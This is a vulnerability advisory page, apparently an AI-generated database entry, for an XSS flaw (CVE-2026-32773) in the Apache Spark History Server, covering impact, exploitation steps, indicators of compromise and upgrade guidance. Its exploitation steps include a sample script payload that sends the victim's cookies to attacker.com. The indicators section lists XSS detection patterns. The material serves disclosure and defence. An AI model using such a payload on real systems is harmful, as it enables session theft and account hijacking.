CVE-2026-32773
NixOS Analyse et atténuation des vulnérabilités

Aperçu

CVE-2026-32773 is a Cross-Site Scripting (XSS) vulnerability in the Apache Spark History Server that allows a malicious Spark job to inject arbitrary unescaped frontend code into the Spark Web UI. It affects Apache Spark versions 3.0.0 through 3.5.7 (prior to 3.5.8). The vulnerability was disclosed on September 1, 2026, by reporter Yann Gourio and is tracked internally as SPARK-53747. It carries a CVSS v3.1 base score of 6.1 (Medium) (GitHub Advisory, OSS-Security).

Détails techniques

The root cause is improper neutralization of script-related HTML tags in the Spark History Server's web interface (CWE-80). A user with sufficient permissions to submit a Spark job can embed malicious JavaScript or HTML into job metadata or output that is subsequently rendered unescaped in the History Server's web UI. Exploitation requires two preconditions: the attacker must have the ability to launch a Spark job, and a user with higher privileges must be socially engineered into visiting the affected History Server page. No public proof-of-concept code has been identified (GitHub Advisory, OSS-Security).

Impact

Successful exploitation could allow an attacker to execute arbitrary JavaScript in the browser of a higher-privileged user visiting the Spark History Server, potentially leading to session cookie theft, account hijacking, or redirection to malicious sites. The Apache advisory characterizes the privilege escalation as "minimal," as the scope is limited to browser-level impact without direct server-side compromise. Availability is not impacted, but confidentiality and integrity are both assessed as low (GitHub Advisory, OSS-Security).

Exploitabilité

There is no evidence of public proof-of-concept exploit code or active in-the-wild exploitation as of the disclosure date. The NVD SSVC assessment classifies exploitation as "none" and the attack as non-automatable, reflecting the multi-step social engineering requirement. The EPSS score is 0.0, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (GitHub Advisory, OSS-Security).

Étapes d’exploitation

  1. Obtain Spark job submission access: The attacker must have credentials or permissions sufficient to submit a Spark job to the target cluster.
  2. Craft a malicious Spark job: Embed a JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) within job metadata, application name, or other fields that are rendered in the Spark History Server UI.
  3. Submit the job: Run the crafted Spark job so that its metadata is recorded and becomes visible in the History Server.
  4. Social engineering: Trick a higher-privileged user (e.g., a Spark administrator) into visiting the Spark History Server page that displays the malicious job entry.
  5. XSS execution: The unescaped payload executes in the victim's browser, enabling session cookie theft, credential harvesting, or redirection to an attacker-controlled site (OSS-Security, GitHub Advisory).

Indicateurs de compromis

  • Logs: Spark History Server access logs showing requests from unexpected IP addresses or user agents to job history pages; unusual query parameters or encoded strings in HTTP request logs.
  • Network: Outbound connections from a victim's browser to unknown external domains shortly after visiting the Spark History Server (indicative of data exfiltration via XSS).
  • Application: Spark job submissions with application names or descriptions containing HTML/JavaScript tags (e.g., <script>, <img onerror=, javascript:) visible in job metadata or History Server UI.

Atténuation et solutions de contournement

The primary remediation is to upgrade Apache Spark to version 3.5.8 or later, which includes proper XSS escaping in the History Server UI (OSS-Security, GitHub Advisory). As interim mitigations, administrators should restrict access to the Spark Web UI to trusted internal networks only, implement Content Security Policy (CSP) headers to limit script execution, and disable the Web UI entirely if it is not operationally required. Limiting who can submit Spark jobs reduces the attacker's ability to inject malicious content.

Réactions de la communauté

The vulnerability was disclosed via the Apache security mailing list and the OSS-Security list by Holden Karau, crediting Yann Gourio as the finder. Apache rated the severity as "low" due to the high bar for exploitation, though the NVD assigned a CVSS score of 6.1 (Medium). No significant broader media coverage or notable researcher commentary beyond the official disclosure has been identified (OSS-Security, GitHub Advisory).

Ressources additionnelles


SourceCe rapport a été généré à l’aide de l’IA

Apparenté NixOS Vulnérabilités:

Identifiant CVE

Sévérité

Score

Technologies

Nom du composant

Exploit CISA KEV

A corrigé

Date de publication

CVE-2026-78662HIGH7.5
  • Docker logoDocker
  • argo-workflows-fips-4.1
NonOuiSep 02, 2026
CVE-2026-56855HIGH7.5
  • Docker logoDocker
  • grafana-13.2
NonOuiSep 02, 2026
CVE-2026-84642HIGH7.5
  • NixOS logoNixOS
  • cpe:2.3:a:mozilla:thunderbird
NonOuiSep 01, 2026
CVE-2026-84641HIGH7.5
  • NixOS logoNixOS
  • thunderbird
NonOuiSep 01, 2026
CVE-2026-32773MEDIUM6.1
  • NixOS logoNixOS
  • spark
NonOuiSep 02, 2026

Évaluation gratuite des vulnérabilités

Évaluez votre posture de sécurité dans le cloud

Évaluez vos pratiques de sécurité cloud dans 9 domaines de sécurité pour évaluer votre niveau de risque et identifier les failles dans vos défenses.

Demander une évaluation

Obtenez une démo personnalisée

Prêt(e) à voir Wiz en action ?

"La meilleure expérience utilisateur que j’ai jamais vue, offre une visibilité totale sur les workloads cloud."
David EstlickRSSI
"Wiz fournit une interface unique pour voir ce qui se passe dans nos environnements cloud."
Adam FletcherChef du service de sécurité
"Nous savons que si Wiz identifie quelque chose comme critique, c’est qu’il l’est réellement."
Greg PoniatowskiResponsable de la gestion des menaces et des vulnérabilités